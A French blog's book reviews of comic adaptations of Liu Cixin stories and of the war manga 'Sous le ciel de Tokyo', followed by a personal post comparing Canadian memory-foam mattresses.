BrouillageIntegral-cov“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays ; 15 voyages quantiques à la croisée des dimensions scientifiques, géopolitiques et humanistes, pour imaginer les possibles futurs de l’humanité.

Une Troisième Guerre mondiale oppose les membres de l’OTAN à la Russie, un conflit interminable, tactique, technologique et sanglant. Pour gagner du temps en attendant un rassemblement de troupes, le général Levchenko décide d’agir sur le brouillage des transmissions. Les rayonnements solaires, qui influencent la propagation des ondes de surface, pourraient changer l’issue des combats…

[Texte du site de l’éditeur et de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

BrouillageIntegral-p004

Page 4

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD des récits de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) je vais poursuivre ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes quatre (Nourrir l’Humanité) et cinq (La perfection du cercle) ainsi que les sixième (Proies et Prédateurs) et septième (L’Attraction de la foudre) tomes. Les titres se succèdent au rythme d’environ un par mois.

Cet album adapte la nouvelle 全频带阻塞干扰 (“Quán píndài zǔsè gānrǎo” / lit. “brouillage pleine bande”) publié en 2001 dans le périodique chinois 科幻世界 (Kēhuàn shìjiè / lit “le monde de la science-fiction” ou Science Fiction World).  Liu Cixin nous propose encore une fois un sujet d’actualité: une guerre entre l’OTAN et la Russie. Les deux nations font appel au brouillage électronique pour rendre inopérant les communications et les équipements de détection de l’ennemi mais la technologie russe est moins efficace. Afin d’avoir l’avantage, il créeront un brouillage intégral en utilisant un phénomène naturel. 

Le sujet de cette histoire est plutôt intéressant puisqu’il nous introduit à la science derrière la guerre du XXIe siècle mais le dessin est très moyen et le récit un peu confus ce qui rend la lecture de cet album un peu ennuyant. C’est donc la moins bonne adaptation de la série. À lire par curiosité ou simplement pour avoir lu tout les albums de la série.

Brouillage intégral (Les Futurs de Liu Cixin, #8), par Marko Stojanovic (Scénario d’après une nouvelle de Liu Cixin), Milorad Vicanovic-Maza (illustrations) et Desimir Miljic-Desko (couleur). Paris: Delcourt (Coll. Néopolis), janvier 2023. 108 pages, 21.7 x 29.8 cm, 21.90 € / $36.95 Can, ISBN 978-2-41303810-8. Pour un lectorat adolescent (12+). stars-2-0

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2021 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2022 Éditions Delcourt pour la présente édition.

[ Translate ]

Les futurs de Liu Cixin #7: L’attraction de la foudre

AttractionDeLaFoudre-cov“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays; 15 voyages quantiques à la croisée de dimensions scientifiques, géopolitiques et humanistes, pour y découvrir les futurs de l’humanité.

Chen est fasciné par la foudre globulaire depuis une expérience traumatisante vécue dans l’enfance. Doctorant en modélisations mathématiques, il est poussé par son université vers l’armée qui allie ressources financières et capacités d’expérimentation. Chen se retrouve ainsi à tenter de capturer et analyser ces boules d’énergie brute, alors que les tensions internationales s’intensifient.

[Texte du site de l’éditeur et de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD des récits de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) je vais poursuivre ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes 4. Nourrir l’Humanité et 5. La perfection du cercle ainsi que le sixième tome, Proies et Prédateurs. Les titres se succèdent au rythme d’environ un par mois.

 

AttractionDeLaFoudre-p011

Page 11

L’attraction de la foudre (Les Futurs de Liu Cixin, #7) est l’adaptation en bande dessinée du roman de science-fiction 球状闪电 (Qiúzhuàng shǎndiàn / lit. “foudre en boule”) par par Liu Cixin paru en Chine en 2014 et traduit en français chez Actes Sud en 2019. Ce volume nous raconte la vie de Chen Kun qui prends un tour inattendu le jour de ses quatorze ans alors que ses parents sont tués par une boule de foudre qui est entrée dans leur appartement. Fasciné par ce phénomène, il y consacre ses études universitaires. Lors d’un stage dans un centre de recherche localisé au sommet du mont Taishan, il fait la rencontre de Lin Yuan — une fille de général obsédée par l’armement militaire — qui étudie elle aussi la foudre mais pour en faire une arme. Alors que la tension internationale monte avec l’intervention de navires de la “Coalition Démocratique” en mer de Chine (constituant “une escalade intolérable et un signe d’agression évident”), il est “invité” par le Ministère des Armées à rejoindre le groupe de recherche “Nouveaux Concepts” dirigé par Lin. Ils tenteront d’étudier et de capturer de la foudre globulaire afin d’en faire une arme. Ils découvrent que le phénomène n’est pas créé par la foudre mais qu’il est préexistant et que la foudre ne fait que le rendre visible. Chen théorise que la foudre globulaire est en fait un électron géant qui constitue un macro-atome formant un univers macroscopique ! Après de nombreux échecs et alors que la guerre semble imminente, Lin refuse d’entendre les mises en garde de ses collègues contre les dangers de l’expérience et fait l’essai d’une arme si terrible qu’elle changera à jamais la géopolitique mondiale…

 

L’attraction de la foudre est un récit de hard SF, avec des échos étrangement d’actualité, typique de l’œuvre de Liu Cixin. Le dessin est très bien alors que le récit demeure fort intéressant et relativement vraisemblable. Comme elle adapte non pas une nouvelle mais un roman il en résulte une BD volumineuse qui nous offre une longue et agréable lecture et qui reste divertissante malgré la complexité de ses aspects scientifiques. Elle plaira sans aucun doute aux amateurs de hard SF et de l’oeuvre de Liu Cixin.

L’attraction de la foudre (Les Futurs de Liu Cixin, #7), par Thierry Robin (Scénario d’après une nouvelle de Liu Cixin et illustration), Yang Fei (assistant au décors) et Cyril Saint-Blancat (couleur). Paris: Delcourt (Coll. Néopolis), novembre 2022. 272 pages, 21.9 x 29.8 cm, 34.95 € / $59.95 Can, ISBN 978-2-413-03809-2. Pour un lectorat adolescent (12+). stars-3-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2022 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2022 Éditions Delcourt pour la présente édition.

[ Translate ]

Les futurs de Liu Cixin #6: Proies et Prédateurs

ProiesEtPrédateurs-cov“15 récits de l’écrivain de SF Liu Cixin adaptées en BD par des auteurs de tous pays; 15 voyages quantiques à la croisée de dimensions scientifiques, géopolitiques et humanistes, pour y découvrir les futurs de l’humanité.

Un surprenant émissaire informe l’ONU que des extraterrestres sont en route sur leur planète-vaisseau en forme de tore, le Dévoreur. Ceinturant notre planète, ils en absorberont la moindre ressource, puis la recracheront comme on le fait d’un noyau. Notre fin est inéluctable : leur supériorité technologique ne laisse aucun doute. Un soldat met en oeuvre tous les moyens imaginables pour riposter.

[Texte du site de l’éditeur et de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD de nouvelles de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) je vais poursuivre ma lecture avec l’édition française qui est publiée (dans un ordre légèrement différent) chez Delcourt sous le titre “Les Futurs de Liu Cixin” et dont j’ai déjà commenté les tomes 4. Nourrir l’Humanité et 5. La perfection du cercle. Le sixième tome, Proies et Prédateurs, adapte en bande dessinée 吞食者 (Tūnshí zhě / lit. “Le Dévoreur”) qui est une nouvelle de science-fiction par Liu Cixin publiée en 2002 dans le magazine chinois 科幻世界 (Kēhuàn shìjiè / lit. “Le monde de la Science Fiction”). 

ProiesEtPrédateurs-p003

P. 3

Dans le désert Éthiopien une expédition découvre une tombe contenant des restes humains et de dinosaures, ce qui démontre que dans des temps très anciens non seulement les dinosaures et les humains se sont côtoyés mais que les dinosaures avaient développé une civilisation avancée! Plus tard, un objet non-identifié est détecté alors qu’il approche à grande vitesse de la Terre. L’unité des troupes de défense spatiale de l’U.N., dirigée par le colonel Dongfang Zhiyan, est dépêchée pour l’intercepter. L’objet s’avère être un cristal contenant une intelligence artificielle (qui a l’apparence d’un personnage de “maid anime”!) venu alerter la Terre de l’arrivée prochaine du Dévoreur! Ce dernier est un vaisseau gigantesque qui parcours la galaxie en absorbant des planètes entières pour en extirper les ressources. Plus tard, un petit vaisseau spatial attaque New-York et atterrit aux Nations Unis. Il en sort un tyrannosaure en armure nommé Grandes-Dents qui parle la langue des humains. Il annonce que le grand empire dévoreur va engloutir la Terre et transformer l’humanité en bétail. Même si on négocie la survie de quelques millier d’humains pour repeupler ce qui restera de la planète après le départ du Dévoreur, l’Humanité fomente un plan secret de contre-attaque qui utilisera la lune comme projectile. Malheureusement le plan échoue et le Dévoreur n’est pas détruit. Le récit culmine avec un duel entre Grandes-Dents et un Dongfang Zhiyan en armure mécanisée! Toutefois, l’histoire se termine sur une note d’espoir car le Dévoreur a dû quitter le système solaire avant d’avoir complètement absorbé la Terre laissant entrevoir que la vie (et l’humanité) y prospérera à nouveau…

 

Liu Cixin semble beaucoup aimer les récits qui s’étirent sur une longue durée et où l’humanité doit, afin de faire face à une invasion, déployer une grande ingéniosité qui l’amène à mouvoir des corps céleste. Cela est vraiment une thématique récurrente chez lui. Si le concept de la race guerrière de sauriens n’a rien d’original, j’aime bien l’idée du tyrannosaure fier et honorable qui pousse son adversaire à ses limites afin d’obtenir un défi suffisent pour le divertir de l’ennui d’une vie trop longue… C’est un récit plein d’humour et d’ironie malgré son sérieux. Le dessin, même s’il n’est pas trop soigné, est plutôt agréable et représente bien tant l’action que le flux narratif du récit. Proies et prédateurs nous offre donc une histoire divertissante et agréable à lire. Cela plaira sans aucun doute à tout amateur de Liu Cixin et de science-fiction épique (ce qui est étrange car Cixin est plus connu pour ses récits de hard SF).

Proies et Prédateurs (Les Futurs de Liu Cixin, #6), par Jd Morvan (Scénario d’après une nouvelle de Liu Cixin), Yang Weilin (dessin) et Hiroyuki Ooshima (couleur). Paris: Delcourt (Coll. Néopolis), octobre 2022. 108 pages, 21.7 x 29.8 cm, 21.90 € / $36.95 Can, ISBN 978-2-413-03015-7. Pour un lectorat adolescent (12+). stars-3-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2021 FT Culture (Beijing) Co., Ltd. All rights reserved. © 2022 Éditions Delcourt pour la présente édition.

[ Translate ]

Sous le ciel de Tokyo… 2

SousLeCielDeTokyo-2-cov“La situation est grave.

Shirakawa, bien conscient de l’écart du potentiel militaire entre les deux camps, continue à protéger la Capitale depuis les airs. Puis, le 25 mai 1945, des milliers de bombes sont envoyées dans la région où se trouve sa femme Mariko, rentrée chez ses parents. Inquiet pour elle dans le cockpit, Shirakawa s’efforce de chasser les B-29.

Quel est le destin du couple séparé entre les airs et le sol ?”

[Texte de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

Sous le ciel de Tokyo (東京物語 / Tōkyō monogatari / litt. “Histoire de Tokyo”) est un manga seinen par Seiho Takizawa qui a d’abord été publié en feuilletons dans Comic Taiga en 2010 avant d’être compilé en deux volumes chez Dai Nihon Kaiga (juin 2012 et mars 2013). Il a ensuite été republié chez Futabasha en août 2015 (c’est cette édition qui a été traduite en français par Delcourt / Tonkam en 2017). Seiho Takizawa a débuté comme illustrateur dans le magazine Model Graphix et se spécialise dans les récits aéronautiques qui se déroulent durant la Guerre du Pacifique. Un seul de ses mangas a été traduit en anglais (Who Fighter with Heart of Darkness publié chez Dark Horse en 2006) mais une demi-douzaine de ses titres (sur la vingtaine de publiée au Japon) ont été traduit en français, principalement dans la collection “Cockpit” des Éditions Paquet (J’en commenterai plusieurs bientôt). J’ai déjà commenté le premier volume de ce manga.

SousLeCielDeTokyo-2-p027

T.2, p. 27

Dans ce second volume, la fin de la guerre approche. L’aviation Japonaise teste de nouveau appareils et surtout des carburants alternatifs (à base de bois ou d’huile de pin) car le Japon s’est vu couper l’accès à ses réserves d’essence. Kayo, la jeune soeur de Mariko, se fiance avec Ishimoto un pilote de la marine. Avec la conquête d’Iwo Jima et de son aéroport, les attaques Américaines se font plus fréquentes les bombardiers sont maintenant protégé par des escadrons de chasseurs ce qui rends la taches des pilotes japonais plus difficile, voir impossible. Tokyo est attaqué avec des bombes incendiaires et Hiroshima est détruite par une seule bombe d’un nouveau genre. Dans un discours à la radio l’Empereur accepte les termes des alliés. 

Avec un dessin beau et simple, ce manga nous présente la vie quotidienne des Japonais durant la guerre vue à travers un officier de l’aviation de l’armée vivant avec son épouse à Tokyo. Il offre un point de vue différent et plutôt intéressant (voir même instructif) sur la Guerre du Pacifique qui n’est évidemment pas dépourvu de tragédie. C’est une bonne lecture, agréable, qui sera surtout apprécié des amateurs de mangas historiques, d’aviation et de la deuxième guerre mondiale.

Sous le ciel de Tokyo…, t.2, par Seiho Takizawa. Paris: Delcourt / Tonkam (Coll. Seinen), janvier 2018. 208 pages, 12.8 x 18.2 cm, 7.99 € / $13.95 Can, ISBN 978-2-413-00086-0. Pour un lectorat adolescent (12+). stars-3-0

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© Seiho Takizawa 2015. Édition française © 2018 Éditions Delcourt.

[ Translate ]

Sous le ciel de Tokyo 1

SousLeCielDeTokyo-1-cov“Tout comme le film Le vent se lève de Hayao Miyazaki, Sous le ciel de Tokyo… suit le quotidien d’un couple en pleine Seconde Guerre mondiale.

Fin 1943. Shirakawa, un pilote de chasse ayant combattu dans diverses régions du monde, rentre enfin à Tokyo. Il vient d’être muté au Centre d’essais aériens de l’armée impériale. Après une longue absence, Shirakawa essaie de reprendre sa vie de famille auprès de sa femme Mariko. 

Sous le ciel de Tokyo… raconte le quotidien ordinaire d’un couple à une époque où la vie et la mort se côtoient chaque jour.”

[Texte du site de l’éditeur et de la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

Sous le ciel de Tokyo (東京物語 / Tōkyō monogatari / litt. “Histoire de Tokyo”) est un manga seinen par Seiho Takizawa qui a d’abord été publié en feuilletons dans Comic Taiga en 2010 avant d’être compilé en deux volumes chez Dai Nihon Kaiga (juin 2012 et mars 2013). Il a ensuite été republié chez Futabasha en août 2015 (c’est cette édition qui a été traduite en français par Delcourt / Tonkam en 2017). Seiho Takizawa a débuté comme illustrateur dans le magazine Model Graphix et se spécialise dans les récits aéronautiques qui se déroulent durant la Guerre du Pacifique. Un seul de ses mangas a été traduit en anglais (Who Fighter with Heart of Darkness publié chez Dark Horse en 2006) mais une demi-douzaine de ses titres (sur la vingtaine de publiée au Japon) ont été traduit en français, principalement dans la collection “Cockpit” des Éditions Paquet.

SousLeCielDeTokyo-1-p034

T. 1, p. 34

Sous le ciel de Tokyo nous raconte la vie quotidienne d’un officier de l’aviation de l’armée vivant avec son épouse à Tokyo pendant la Guerre du Pacifique. Le récit suit en parallèle les missions d’entrainement et d’essai du pilote, le capitaine Shirakawa, et les difficultés journalières rencontrées par sa femme, Mariko, à cause de la militarisation de la société et du rationnement. On retrouve donc un mélange de scènes de combat et de scènes de la routine de tout les jours. C’est un récit plutôt simple et épisodique mais qui reste intéressant et même touchant. L’auteur semble faire un effort pour ne pas glorifier la guerre et démontrer que la population japonaise était elle-même victime d’un gouvernement militariste. Le style de dessin est beau et simple (un peu inspiré de celui de Katsuhiro Otomo) avec des traits fins et précis. L’utilisation de trames fines et de peu de détails d’arrière-plan laisse les cases assez aérées sauf pour les illustrations d’avions qui sont très riches en détails avec des explications sur la capacité des appareils et ce qui distingue les différents modèles. L’auteur rajoute également des cartes et de nombreux détails historiques sur le déroulement de la guerre et la débâcle de l’armée japonaise. C’est un bon manga qui offre une lecture agréable qui sera surtout apprécié des amateurs de mangas historiques, d’aviation et de la deuxième guerre mondiale.

Sous le ciel de Tokyo…, t.1, par Seiho Takizawa. Paris: Delcourt / Tonkam (Coll. Seinen), novembre 2017. 208 pages, 12.8 x 18.2 cm, 7.99 € / $13.95 Can, ISBN 978-2-413-00085-3. Pour un lectorat adolescent (12+). stars-3-0

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© Seiho Takizawa 2015. Édition française © 2017 Éditions Delcourt.

[ Translate ]

Les futurs de Liu Cixin #4-5

Quinze récits de Liu Cixin adaptés en BD par des auteurs de tous pays. Quinze voyages d’un espace-temps où croisent les dimensions scientifiques, géopolitiques et humanistes, tissant les possibles devenirs de l’humanité.

Les Futurs de Liu Cixin réunit quinze nouvelles, adaptées en bande dessinée, du plus grand écrivain contemporain [chinois] de science-fiction. Son oeuvre, qui explore les devenirs possibles de notre civilisation en conjuguant des dimensions scientifiques, géopolitiques et humanistes, a été couronnée d’innombrables prix (dont le prestigieux Hugo Award [en 2015]) et s’est vendue à des millions d’exemplaires dans le monde entier. Sa nouvelle “The Wandering Earth” (La Terre Vagabonde) a fait l’objet d’une adaptation cinématographique qui a battu tous les records, et une ambitieuse série télévisée tirée de sa trilogie Le problème à trois corps est en cours de production.

4. Nourrir l’Humanité

NourrirlHumanite-cov“Treize des plus riches personnalités du monde engagent un tueur à gages pour éliminer trois personnes parmi les plus pauvres. Hua Tang accepte le contrat mais s’interroge sur leur dangerosité. Est-ce lié aux étranges distributions populaires de sacs remplis de millions ? Ou bien aux extraterrestres qui se font appeler les Dieux et survolent inlassablement notre Terre depuis cinq ans ?”

[Texte du site de l’éditeur et de la couverture arrière]

Nourrir l’Humanité (Les Futurs de Liu Cixin, #4), par Sylvain Runberg (scénario, d’après une nouvelle de Liu Cixin) et Miki Montllò (dessin et couleur). Paris: Delcourt (Coll. Néopolis), juin 2022. 126 pages, 21.7 x 29.8 cm, 21.90 € / $36.95 Can, ISBN 978-2-413-03801-6. Pour un lectorat adolescent (12+). 

5. La Perfection du Cercle

PerfectionDuCercle-cov“227 avant JC, époque des Royaumes combattants. Ying Zheng, roi de la dynastie Qin, veut unifier la Chine. S’il prouve qu’il connaît le langage du Ciel et en comprend les desseins, il les mènera tous vers un avenir meilleur. Grâce à un tout nouveau mode de calcul de données à grande échelle, le savant Jing Ke va lui enseigner ce langage qui réside dans la forme la plus parfaite au monde, le cercle.”

[Texte du site de l’éditeur et de la couverture arrière]

La Perfection du Cercle (Les Futurs de Liu Cixin, #5), par Xavier Besse (d’après une nouvelle de Liu Cixin). Paris: Delcourt (Coll. Néopolis), août 2022. 74 pages, 21.8 x 30 cm, 17.95 € / $29.95 Can, ISBN 978-2-413-03806-1. Pour un lectorat adolescent (12+). 

(Attention, lire l’avertissement de possible divulgacheurs)

J’ai déjà commenté la version anglaise des premiers volumes de cette série d’adaptation en BD de nouvelles de l’excellent auteur de science-fiction chinois Liu Cixin: 1. Sea of Dreams, 2. The Wandering Earth, 3. The Village Teacher, ainsi que 4. YuanYuan’s Bubbles (publiés au USA dans la série “Liu Cixin Graphic Novels” de Talos Press). Pour des raisons pratiques (rapidité de publication et disponibilité) je vais poursuivre ma lecture avec l’édition française qui est publiée chez Delcourt sous le titre “Les Futurs de Liu Cixin”. L’édition française se fait dans un ordre légèrement différent et à ce qui semble être un rythme effréné (à peu près un album par mois!): 1. Terre Vagabonde (mars 2022, par Christophe Bec, Stefano Raffaele et Marcelo Maiolo), 2. Pour que respire le désert (mai 2022, par Valérie Mangin, Steven Dupré et Cyril Saint-Blancat), 3. Les trois lois du monde (mai 2022, par Xiaoyu Zhang et Pan Zhiming), 4. Nourrir l’Humanité (juin 2022, par Sylvain Runberg et Miki Montllò) et 5. La perfection du cercle (août 2022, par Xavier Besse). La série se poursuit ensuite avec les titres suivants: 6. Proies et Prédateurs (octobre 2022, par Jd Morvan, Yang Weilin et Hiroyuki Ooshima), 7. L’Attraction de la foudre (novembre 2022, un imposant album de 272 pages! Par Thierry Robin et Cyril Saint-Blancat), 8. Brouillage intégral (janvier 2023, par Marko Stojanovic, Maza et Desko), 9. La Terre transpercée (février 2023, par Wu Qingsong), 10. L’Ère des anges (mars 2023, par Sylvain Runberg et Ma Yi), 11. Au-delà des montagnes (avril 2023, par Eduard Torrents et Ruben Pellejero), 12. Le calcul du papillon (par Dan Panosian), 13. L’Humanité invisible (par Liu Wei), 14. L’Océan des rêves (par Rodolfo Santullo et JOK), et 15. Les Migrants du temps (par Sylvain Runberg et Serge Pellé). 

Cette série est un impressionnant projet d’envergure internationale puisqu’il mets en oeuvre trente-deux auteurs et artistes venus de onze pays (Chine, France, États-Unis, Argentine, Uruguay, Espagne, Belgique, Japon, Serbie, Italie et Bosnie Herzégovine) et sera publié dans au moins huit pays. Il a été conçu par le fondateur de la maison d’édition chinoise FT Culture, Li Yun (qui détient les droits internationaux sur les nouvelles de Liu Cixin), en collaboration avec la française Corinne Bertrand, qui a dirigé et édité la série. 

NourrirlHumanite-p003

Nourrir l’Humanité, p. 3

Nourrir l’Humanité (赡养人类 / Shànyǎng rénlèi / litt. “Soutenir les êtres humains” — le titre anglais est The Wages of Humanity) est adapté d’une nouvelle du même titre de Liu Cixin publiée en 2005 dans le périodique chinois 科幻世界 (Kehuan shijie / litt. “Le monde de [la] science-fiction“ ou Science Fiction World). C’est le récit de Hua Tang, tueur à gage professionnel, qui reçoit le contrat d’éliminer trois personnes très pauvres: un artiste démuni, un musicien de rue et une jeune femme qui ramasse les déchets dans une décharge. Il s’interroge sur les raisons d’une telle commande et découvre que des envahisseurs venant coloniser la Terre ont offert de payer en compensation un salaire à tous les Humains, équivalent au revenu de la personne la plus pauvre. Pour ne pas trop diminuer leur train de vie, les plus riches décident de partager leur fortune avec le reste de la population en donnant à chacun un million de dollars. Toutefois, trois individu parmi les plus pauvres refusent l’argent, mettant ainsi en péril le revenu des riches. Le récit est entrecoupé de flashbacks qui raconte la jeunesse de Hua Tang, montrant comment il est devenu assassin. En parallèle, nous suivons l’histoire d’une autre Terre. Une civilisation très avancée, qui se fait appeler les “Dieux”, a créé trois planètes similaires à la Terre habitées par des Humains. Sur l’une d’entre elles, un riche industriel est devenu, à force d’acquisitions, l’unique propriétaire de la planète qu’il transforme en jardin personnel où tout est automatisé par une intelligence artificielle. Il règne sur une cour d’Humains cyber-augmentés et la plèbe d’Humains inférieurs est reléguée sous terre et vit dans des conditions difficiles due à la pénurie de ressources (ils doivent payer même l’oxygène qu’il respire). Lorsqu’ils osent demander une meilleure condition de vie, le propriétaire les expulse dans l’espace et leur disant de venir coloniser notre Terre… 

Le récit est bien mené, fluide malgré sa complexité, et présente d’intéressants éléments socio-politiques qui font une sorte de mise en garde sur des possibles avenirs dystopiques de notre planète. Le dessin est excellent, agréable et contribue bien à la fluidité du récit. Chose intéressante, cette histoire contient plusieurs éléments précurseurs ou similaires au roman Le problème à trois corps (d’abord paru en feuilletons en 2006 dans Science Fiction World — et dont j’ai déjà commenté le premier volume). C’est donc une excellente lecture. stars-4-0

PerfectionDuCercle-p005

La perfection du cercle, p. 5

La Perfection du Cercle (圆 / Yuán / Litt. “Rond” — le titre anglais est The Circle) est adapté d’une nouvelle du même titre de Liu Cixin publiée d’abord en anglais en 2014 dans l’anthologie de “hard” science-fiction Carbide Tipped Pens: Seventeen Tales of Hard Science Fiction compilée par Ben Bova et Eric Choi et publiée par Tor Books (où l’on retrouve d’ailleurs la nouvelle “Snows of yesteryear” par Jean-Louis Trudel!). Il s’agit ici non pas de science-fiction mais d’une uchronie se déroulant au IIIe siècle AEC, à la toute fin de l’époque chinoise des Royaumes Combattants, alors que la dynastie Qin a finalement unifié les différents royaumes. Après avoir tenté d’assassiner le roi Ying Zheng (le futur empereur Qin Shi Huangdi) avec une épée dissimulée dans une carte enroulée, le mathématicien Jing Ke (qui dans ce récit survit à sa tentative) le convainc qu’il peut déchiffrer les mystères de l’univers grâce à la perfection du cercle. En effet, “le ratio entre la circonférence du cercle et son diamètre est une série de chiffres qui commence par 3.1415926 [pi] et continue à l’infini sans jamais se répéter.” Si l’on calcul ce ratio jusqu’à au moins cent mille décimales, la série de chiffres, une fois traduite en formes et en images, contiendra un message dévoilant le plus profond mystère de l’univers! Pour effectuer le calcul, il crée un véritable calculateur en utilisant les trois millions de soldats de l’armée de l’empereur, regroupé par équipes de trois (une sorte de transistor humain formé de deux entrées et une sortie), chacun portant un drapeau blanc (représentant le 0) et un drapeau noir (représentant le 1) pour former un opérateur  de fonction logique appelé “porte”. Malheureusement, la calcul est interrompu à mi-chemin car l’empereur est devenu mentalement instable à cause de la potion de mercure qui devait le rendre immortel, ce qui suscite un complot de la part de la Reine-Mère et du faux eunuque Lao Ai ainsi que des révoltes qui menèrent à l’exécution du roi et de son mathématicien…

Le récit est un peu moins intéressant que le précédant mais demeure tout de même fascinant par sa complexité et le processus mathématique  astucieux qu’il présente. Le dessin est encore une fois excellent. Le récit reprend également une idée présentée dans le premier volume du roman Le Problème à trois corps. Comme il s’agit d’une uchronie, on peut se demander sur laquelle des trois Terres se déroule cette fresque historique… Cela demeure divertissant et une très bonne lecture. stars-3-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonGoodreadsGoogleNelliganWikipediaWorldCat ]

© 2021 FT Culture (Beijing) Co., Ltd. All rights reserved. © Éditions Delcourt pour la présente édition.

 

[ Translate ]

Sur le matelas !

Mon très vieux matelas à ressort me donnant des maux de dos, j’ai décidé de le changer pour un matelas à mousse mémoire du type “lit dans une boîte.” Je recherchais donc un matelas de mousse, de format double (75 x 54 po), entre huit et douze pouces d’épaisseur, d’une fermeté entre médium et ferme, et dans un budget de $300-$800. 

J’ai d’abord regardé sur Amazon mais si les matelas n’y étaient pas chers ($240-$270) la plupart étaient fait en Chine et il était donc plus difficile d’en juger de la qualité (malgré des évaluations de la clientèle de plus de 4.5 et avec plus de 70% d’évaluations à cinq étoiles). J’ai donc élargi mon champs de recherche et consulté de nombreuses “études” comparatives sur les matelas, d’abord plus général (beaucoup de matelas fait aux USA, à Mexico ou en Chine, à des prix entre $700 et $6000 US!) puis en me concentrant sur les matelas en mousse fait au Canada. Après une visite chez Dormez-vous? (pour tester la fermeté des matelas de mousse en général) et de nombreux tableaux comparatifs, j’ai réduit la liste à seulement trois ou quatre candidats: 

MattressChart

Dans une des études-tests déjà mentionnées, les deux modèles du Bloom de Dormez-vous?/Sleep Country se retrouvent en vingt-huitième et trentième position avec des évaluations respectives de 5.9 et 5.5/10. Le moins cher (Earth) est plutôt mou avec une fermeté à 4.2 et l’autre (Mist) a une fermeté moyenne à 5.6. Toutefois, ces matelas sont fabriqué en Chine et, si Dormez-vous? offre le même 100 jours d’essai que les autres fabricants,  les conditions du retour sont plutôt mauvaises: frais de restockage de $50 et un crédit en magasin au lieu d’un remboursement. Éliminé!

La matelas fabriqué au Canada qui reçoit la meilleure évaluation (9.3/10) et qui se retrouve en deuxième position dans l’étude, est le Douglas. Il est fabriqué à Edmonton, a un prix abordable, avec une fermeté moyen/ferme (6.6), une couverture lavable et offre la meilleure garantie (15 ans et 120 jours d’essai). À considérer sérieusement…

Si j’ignore le Juno, également fabriqué à Edmonton (par Good Morning), parce que c’est une marque moins connue et que (malgré sa troisième position et excellente évaluation (9/10) qui lui donne le meilleur rapport qualité/prix) je craignais que son très bas prix ($350) soit synonyme de moindre qualité, mon choix suivant est le Endy. C’est une marque beaucoup plus connue et largement commentée et vantée sur les media sociaux. Classé en cinquième position avec une évaluation de 8.4/10, ce matelas (fabriqué à Toronto) est un peu plus cher ($775) mais offre une fermeté medium/ferme (6.5), une couverture amovible et lavable, une mousse à température neutre, un essai de 100 jours et dix ans de garantie. Il est considéré le matelas le plus écologique (“Best Eco-conscious”). À considérer très sérieusement…

Toutefois, étrangement, mon choix final s’est porté vers le PolySleep qui avait des qualités que les autres n’offraient pas. Malgré qu’il se retrouve en vingt-deuxième position avec une évaluation de seulement 6.6/10 (quoi qu’une autre étude le classe AVANT le Juno et le Endy, et lui attribut le “Meilleur soulagement de la pression”) il offre des conditions similaires aux autres (fermeté medium/ferme (6.5 selon PolySleep), garantie de 10 ans, 100 jours d’essai avec cependant une période de rodage (break-in) obligatoire de 45 jours) mais aussi plusieurs avantages : couverture amovible, lavable ET à l’épreuve des liquides (cette protection est disponible aussi chez Douglas et Endy mais la couverture doit être acheté séparément — $64-$100), mousse antimicrobienne, et des côtés renforcés (ne s’enfonce pas lorsqu’on s’assoit sur le bord du lit). Le prix était aussi très abordable ($850 sur Amazon mais seulement $680 sur le site de PolySleep). Par contre, ce qui a finit de me convaincre c’est que non seulement il était fabriqué au Canada mais aussi localement (à Montréal). Par les temps qui courent, nous voulons tous encourager les entreprises locales…

Ma première impression sur réception du PolySleep (avant même de l’essayer) était qu’il avait l’air confortable et semblait avoir toutes les qualités que je recherchais (pas trop mou, pas trop ferme, bord plus ferme, etc.). La livraison a été très rapide (deux jours). Le matelas a été facile à déballer et à installer. Après l’avoir sorti de la boite, étendu et coupé le plastique qui l’emballait sous vide, il s’est gonflé en quelques secondes! J’étais sûr que je l’aimerais et que c’était sans aucun doute un bon achat! De toute façon j’ai cent jours pour l’essayer et le retourner si je ne suis pas satisfait…

